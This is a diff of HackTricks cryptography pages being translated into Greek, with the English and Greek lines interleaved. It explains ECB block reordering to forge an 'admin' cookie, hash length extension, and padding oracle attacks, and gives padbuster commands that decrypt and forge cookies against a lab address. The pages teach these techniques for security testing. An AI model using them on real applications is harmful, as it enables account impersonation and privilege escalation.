|
||||
Using ECB has multiple security implications:
|
||||
Η χρήση του ECB έχει πολλές ασφαλείας συνέπειες:
|
||||
|
||||
* **Blocks from encrypted message can be removed**
|
||||
* **Blocks from encrypted message can be moved around**
|
||||
* **Μπορούν να αφαιρεθούν μπλοκ από το κρυπτογραφημένο μήνυμα**
|
||||
* **Μπορούν να μετακινηθούν μπλοκ από το κρυπτογραφημένο μήνυμα**
|
||||
|
||||
# Detection of the vulnerability
|
||||
# Ανίχνευση της ευπάθειας
|
||||
|
||||
Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`<username>|<password>`**.\
|
||||
Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\
|
||||
You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.
|
||||
|
||||
Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
|
||||
Φανταστείτε ότι συνδέεστε σε μια εφαρμογή αρκετές φορές και πάντα λαμβάνετε το ίδιο cookie. Αυτό συμβαίνει επειδή το cookie της εφαρμογής είναι **`<username>|<password>`**.\
|
||||
Στη συνέχεια, δημιουργείτε δύο νέους χρήστες, και οι δύο με το **ίδιο μακρύ κωδικό πρόσβασης** και **σχεδόν** το **ίδιο** **όνομα χρήστη**.\
|
||||
Ανακαλύπτετε ότι τα **μπλοκ των 8B** όπου οι **πληροφορίες και των δύο χρηστών** είναι ίδιες είναι **ίσα**. Σκέφτεστε ότι αυτό μπορεί να συμβαίνει επειδή χρησιμοποιείται η ECB.
|
||||
|
||||
Όπως στο παρακάτω παράδειγμα. Παρατηρήστε πώς αυτά τα **2 αποκωδικοποιημένα cookies** έχουν αρκετές φορές το μπλοκ **`\x23U\xE45K\xCB\x21\xC8`**
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
```
|
||||
Αυτό συμβαίνει επειδή το **όνομα χρήστη και ο κωδικός πρόσβασης αυτών των cookies περιέχουν αρκετές φορές το γράμμα "α"** (για παράδειγμα). Τα **τμήματα** που είναι **διαφορετικά** είναι τμήματα που περιέχουν **τουλάχιστον 1 διαφορετικό χαρακτήρα** (ίσως το διαχωριστικό "|" ή κάποια απαραίτητη διαφορά στο όνομα χρήστη).
|
||||
|
||||
This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username).
|
||||
Τώρα, ο επιτιθέμενος απλά χρειάζεται να ανακαλύψει αν η μορφή είναι `<όνομα χρήστη><διαχωριστικό><κωδικός πρόσβασης>` ή `<κωδικός πρόσβασης><διαχωριστικό><όνομα χρήστη>`. Για να το κάνει αυτό, μπορεί απλά να **δημιουργήσει αρκετά ονόματα χρηστών** με παρόμοια και μακριά ονόματα χρηστών και κωδικούς πρόσβασης μέχρι να βρει τη μορφή και το μήκος του διαχωριστικού:
|
||||
|
||||
Now, the attacker just need to discover if the format is `<username><delimiter><password>` or `<password><delimiter><username>`. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:**
|
||||
|
||||
| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
|
||||
| Μήκος ονόματος χρήστη: | Μήκος κωδικού πρόσβασης: | Συνολικό μήκος ονόματος χρήστη + κωδικού πρόσβασης: | Μήκος cookie (μετά την αποκωδικοποίηση): |
|
||||
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
|
@ -52,53 +48,47 @@ Now, the attacker just need to discover if the format is `<username><delimiter><
|
|||
| 4 | 4 | 8 | 16 |
|
||||
| 7 | 7 | 14 | 16 |
|
||||
|
||||
# Exploitation of the vulnerability
|
||||
# Εκμετάλλευση της ευπάθειας
|
||||
|
||||
## Removing entire blocks
|
||||
|
||||
Knowing the format of the cookie (`<username>|<password>`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
|
||||
## Αφαίρεση ολόκληρων τμημάτων
|
||||
|
||||
Γνωρίζοντας τη μορφή του cookie (`<όνομα χρήστη>|<κωδικός πρόσβασης>`), για να προσομοιώσετε το όνομα χρήστη `admin`, δημιουργήστε ένα νέο χρήστη με το όνομα `aaaaaaaaadmin` και αποκτήστε το cookie και αποκωδικοποιήστε το:
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
|
||||
We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\
|
||||
Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
|
||||
|
||||
Μπορούμε να δούμε το πρότυπο `\x23U\xE45K\xCB\x21\xC8` που δημιουργήθηκε προηγουμένως με το όνομα χρήστη που περιείχε μόνο το `a`.\
|
||||
Στη συνέχεια, μπορείτε να αφαιρέσετε τον πρώτο κομμάτι των 8B και θα λάβετε ένα έγκυρο cookie για το όνομα χρήστη `admin`:
|
||||
```
|
||||
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
## Μετακίνηση τμημάτων
|
||||
|
||||
## Moving blocks
|
||||
Σε πολλές βάσεις δεδομένων είναι το ίδιο να αναζητήσετε `WHERE username='admin';` ή `WHERE username='admin ';` _(Σημειώστε τα επιπλέον κενά)_
|
||||
|
||||
In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_
|
||||
Έτσι, ένας άλλος τρόπος να προσποιηθείτε τον χρήστη `admin` θα ήταν:
|
||||
|
||||
So, another way to impersonate the user `admin` would be to:
|
||||
* Δημιουργήστε ένα όνομα χρήστη που: `len(<username>) + len(<delimiter) % len(block)`. Με μέγεθος τμήματος `8B` μπορείτε να δημιουργήσετε ένα όνομα χρήστη με το όνομα: `username `, με τον διαχωριστή `|` το τμήμα `<username><delimiter>` θα δημιουργήσει 2 τμήματα των 8Bs.
|
||||
* Στη συνέχεια, δημιουργήστε έναν κωδικό πρόσβασης που θα γεμίσει έναν ακριβή αριθμό τμημάτων που περιέχουν το όνομα χρήστη που θέλουμε να προσποιηθούμε και κενά, όπως: `admin `
|
||||
|
||||
* Generate a username that: `len(<username>) + len(<delimiter) % len(block)`. With a block size of `8B` you can generate username called: `username `, with the delimiter `|` the chunk `<username><delimiter>` will generate 2 blocks of 8Bs.
|
||||
* Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin `
|
||||
Το cookie αυτού του χρήστη θα αποτελείται από 3 τμήματα: τα πρώτα 2 είναι τα τμήματα του ονόματος χρήστη + διαχωριστής και το τρίτο είναι το τμήμα του κωδικού πρόσβασης (που προσποιείται το όνομα χρήστη): `username |admin `
|
||||
|
||||
The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin `
|
||||
**Στη συνέχεια, απλά αντικαταστήστε το πρώτο τμήμα με το τελευταίο και θα προσποιείστε τον χρήστη `admin`: `admin |username`**
|
||||
|
||||
**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`**
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,66 +1,60 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Summary of the attack
|
||||
# Περίληψη της επίθεσης
|
||||
|
||||
Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
|
||||
Φανταστείτε ένα διακομιστή που **υπογράφει** κάποια **δεδομένα** προσθέτοντας ένα **μυστικό** σε κάποια γνωστά καθαρά δεδομένα και στη συνέχεια κατακερματίζοντας αυτά τα δεδομένα. Εάν γνωρίζετε:
|
||||
|
||||
* **The length of the secret** (this can be also bruteforced from a given length range)
|
||||
* **The clear text data**
|
||||
* **The algorithm (and it's vulnerable to this attack)**
|
||||
* **The padding is known**
|
||||
* Usually a default one is used, so if the other 3 requirements are met, this also is
|
||||
* The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
|
||||
* **Το μήκος του μυστικού** (αυτό μπορεί επίσης να ανακαλυφθεί με βίαιη δοκιμή από έναν δεδομένο εύρος μήκους)
|
||||
* **Τα καθαρά δεδομένα**
|
||||
* **Τον αλγόριθμο (και τον ευάλωτο σε αυτήν την επίθεση)**
|
||||
* **Το παραμόρφωμα είναι γνωστό**
|
||||
* Συνήθως χρησιμοποιείται ένα προεπιλεγμένο, οπότε αν πληρούνται και οι άλλες 3 απαιτήσεις, αυτό επίσης ισχύει
|
||||
* Το παραμόρφωμα διαφέρει ανάλογα με το μήκος του μυστικού+δεδομένων, γι' αυτό χρειάζεται το μήκος του μυστικού
|
||||
|
||||
Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previos data + appended data**.
|
||||
Τότε, είναι δυνατό για έναν **επιτιθέμενο** να **προσθέσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + προσθεμένα δεδομένα**.
|
||||
|
||||
## How?
|
||||
## Πώς;
|
||||
|
||||
Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**.
|
||||
Βασικά, οι ευάλωτοι αλγόριθμοι δημιουργούν τα κατακερματισμένα δεδομένα αρχικά κατακερματίζοντας ένα μπλοκ δεδομένων και στη συνέχεια, από το προηγούμενο δημιουργημένο κατακερματισμένο δεδομένο (κατάσταση), προσθέτουν το επόμενο μπλοκ δεδομένων και το κατακερματίζουν.
|
||||
|
||||
Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
If an attacker wants to append the string "append" he can:
|
||||
Έπειτα, φανταστείτε ότι το μυστικό είναι "μυστικό" και τα δεδομένα είναι "δεδομένα", το MD5 του "μυστικόδεδομένα" είναι 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Εάν ένας επιτιθέμενος θέλει να προσθέσει τον χαρακτήρα "προσθήκη" μπορεί:
|
||||
|
||||
* Generate a MD5 of 64 "A"s
|
||||
* Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Append the string "append"
|
||||
* Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
|
||||
* Να δημιουργήσει ένα MD5 από 64 "Α"
|
||||
* Να αλλάξει την κατάσταση του προηγουμένως αρχικοποιημένου κατακερματισμένου δεδομένου σε 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Να προσθέσει τον χαρακτήρα "προσθήκη"
|
||||
* Να ολοκληρώσει τον κατακερματισμό και το αποτέλεσμα θα είναι μια **έγκυρη υπογραφή για το "μυστικό" + "δεδομένα" + "παραμόρφωμα" + "προσθήκη"**
|
||||
|
||||
## **Tool**
|
||||
## **Εργαλείο**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
Μπορείτε να βρείτε αυτήν την επίθεση καλά εξηγημένη στο [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του
|
||||
|
|
|
@ -1,38 +1,36 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# CBC - Cipher Block Chaining
|
||||
|
||||
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
|
||||
Στη λειτουργία CBC, το **προηγούμενο κρυπτογραφημένο μπλοκ χρησιμοποιείται ως IV** για το XOR με το επόμενο μπλοκ:
|
||||
|
||||
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||
|
||||
To decrypt CBC the **opposite** **operations** are done:
|
||||
Για να αποκρυπτογραφηθεί το CBC γίνονται οι **αντίθετες** **λειτουργίες**:
|
||||
|
||||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||
|
||||
Notice how it's needed to use an **encryption** **key** and an **IV**.
|
||||
Παρατηρήστε ότι απαιτείται η χρήση ενός **κλειδιού κρυπτογράφησης** και ενός **IV**.
|
||||
|
||||
# Message Padding
|
||||
# Προσθήκη Μηνύματος
|
||||
|
||||
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
|
||||
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
|
||||
Καθώς η κρυπτογράφηση γίνεται σε **σταθερά μπλοκ μεγέθους**, συνήθως απαιτείται **προσθήκη μηνύματος** στο **τελευταίο μπλοκ** για να ολοκληρωθεί το μήκος του.\
|
||||
Συνήθως χρησιμοποιείται το **PKCS7**, το οποίο δημιουργεί μια προσθήκη που **επαναλαμβάνει** τον **αριθμό των bytes που απαιτούνται** για να **ολοκληρωθεί** το μπλοκ. Για παράδειγμα, αν το τελευταίο μπλοκ λείπουν 3 bytes, η προσθήκη θα είναι `\x03\x03\x03`.
|
||||
|
||||
Let's look at more examples with a **2 blocks of length 8bytes**:
|
||||
Ας δούμε περισσότερα παραδείγματα με **2 μπλοκ μήκους 8bytes**:
|
||||
|
||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
|
@ -41,51 +39,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**:
|
|||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||
|
||||
Note how in the last example the **last block was full so another one was generated only with padding**.
|
||||
Παρατηρήστε πώς στο τελευταίο παράδειγμα το **τελευταίο μπλοκ ήταν γεμάτο, οπότε δημιουργήθηκε ένα ακόμα μόνο με προσθήκη**.
|
||||
|
||||
# Padding Oracle
|
||||
|
||||
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
|
||||
Όταν μια εφαρμογή αποκρυπτογραφεί κρυπτογραφημένα δεδομένα, πρώτα θα αποκρυπτογραφήσει τα δεδομένα και στη συνέχεια θα αφαιρέσει την προσθήκη. Κατά τη διάρκεια της αφαίρεσης της προσθήκης, εάν μια **μη έγκυρη προσθήκη προκαλέσει μια ανιχνεύσιμη συμπεριφορά**, τότε έχετε μια **ευπάθεια padding oracle**. Η ανιχνεύσιμη συμπεριφορά μπορεί να είναι ένα **σφάλμα**, έλλειψη αποτελεσμάτων ή **αργότερη απόκριση**.
|
||||
|
||||
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
|
||||
Εάν ανιχνεύσετε αυτήν τη συμπεριφορά, μπορείτε να **αποκρυπτογραφήσετε τα κρυπτογραφημένα δεδομένα** και ακόμα και να **κρυπτογραφήσετε οποιοδήποτε καθαρό κείμενο**.
|
||||
|
||||
## How to exploit
|
||||
|
||||
You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
|
||||
## Πώς να εκμεταλλευτείτε
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε το [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) για να εκμεταλλευτείτε αυτού του είδους την ευπάθεια ή απλά να κάνετε
|
||||
```
|
||||
sudo apt-get install padbuster
|
||||
```
|
||||
|
||||
In order to test if the cookie of a site is vulnerable you could try:
|
||||
|
||||
Για να ελέγξετε αν το cookie ενός ιστότοπου είναι ευάλωτο, μπορείτε να δοκιμάσετε:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||
```
|
||||
**Η κωδικοποίηση 0** σημαίνει ότι χρησιμοποιείται **base64** (αλλά υπάρχουν και άλλες διαθέσιμες, ελέγξτε το μενού βοήθειας).
|
||||
|
||||
**Encoding 0** means that **base64** is used (but others are available, check the help menu).
|
||||
|
||||
You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter:
|
||||
|
||||
Μπορείτε επίσης **να καταχραστείτε αυτήν την ευπάθεια για να κρυπτογραφήσετε νέα δεδομένα**. Για παράδειγμα, φανταστείτε ότι το περιεχόμενο του cookie είναι "**_**user=MyUsername**_**" και μπορείτε να το αλλάξετε σε "\_user=administrator\_" και να αναβαθμίσετε τα δικαιώματα μέσα στην εφαρμογή. Μπορείτε επίσης να το κάνετε χρησιμοποιώντας το `padbuster` και καθορίζοντας την παράμετρο **-plaintext**:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
|
||||
If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
|
||||
|
||||
Εάν ο ιστότοπος είναι ευάλωτος, το `padbuster` θα προσπαθήσει αυτόματα να βρει πότε συμβαίνει το σφάλμα στο padding, αλλά μπορείτε επίσης να το υποδείξετε χρησιμοποιώντας την παράμετρο **-error** και το μήνυμα σφάλματος.
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
## Η θεωρία
|
||||
|
||||
## The theory
|
||||
|
||||
In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
|
||||
